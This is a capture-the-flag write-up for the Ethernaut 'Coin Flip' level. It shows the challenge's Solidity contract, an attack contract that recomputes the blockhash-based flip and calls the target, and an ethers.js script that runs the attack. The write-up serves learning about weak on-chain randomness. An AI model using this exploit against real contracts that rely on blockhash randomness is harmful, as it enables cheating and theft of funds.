Cracking the Code: Ethernault (Level 3 - Coin Flip) CTF Challenge

Cracking the Code: Ethernault (Level 3 - Coin Flip) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge assesses the player's proficiency in generating and manipulating random numbers within the blockchain.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

The goal of this challenge is to predict the outcome of the coin flip 10 times consecutively.

Upon reading through the contract, we will discover that:

  1. It cannot be solved by calling the flip function

  2. Another contract is needed to solve this problem

  3. We need to somehow get the correct side before running the flip function

The blockchain is a deterministic machine, which means that given the same value, we will get the same result, we need to create a contract where we can determine the result of the coin flip and then use the result in our challenge contract.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../interface/Icoin.sol";

contract CoinAttack {
    // Variable to track the number of consecutive wins
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // Calculate the result of the coin flip and use it in the challenge
    // contract
    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        bool guess = ICoin(0x53a7A519932C10998009f2b3CB43f8Dd0d9Aec03).flip(side);

        if (side == guess) {
            consecutiveWins++;
        } else {
            consecutiveWins = 0;
        }
    }
}
const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Coin.sol/CoinAttack.json");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
  // CoinAttack contract
  const contract = new ethers.Contract(
    "0x81558b0af3F357488736FE189155Ed433e5337E7",
    abi.abi,
    signer
  );

  // Call the attack function in the CoinAttack contract
  const ctx = await contract.attack();
  await ctx.wait();
})();

There are different pathways to execute this solution, but I will be using a contract and script to provide a concise overview of the solution.

The solution is in two parts, the contract and the script.

The solution contract

A solution contract was created so that we can be able to determine the value of the flip function in the challenge contract before calling it in the solution contract, we used the logic for determining the correct side in the challenge in the solution contract, once we got the correct side, we used the challenge contract interface to call the flip function in the challenge contract with the correct side.

The solution script

Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with the solution contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to call the attack function in the solution contract. This call needs to be repeated at least 10 times. It may fail on occasion, especially if the last hash is equal to the blockValue. In such cases, the transaction will be reverted, as indicated in the solution contract. All the player needs to do is persistently make calls until it succeeds 10 times.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.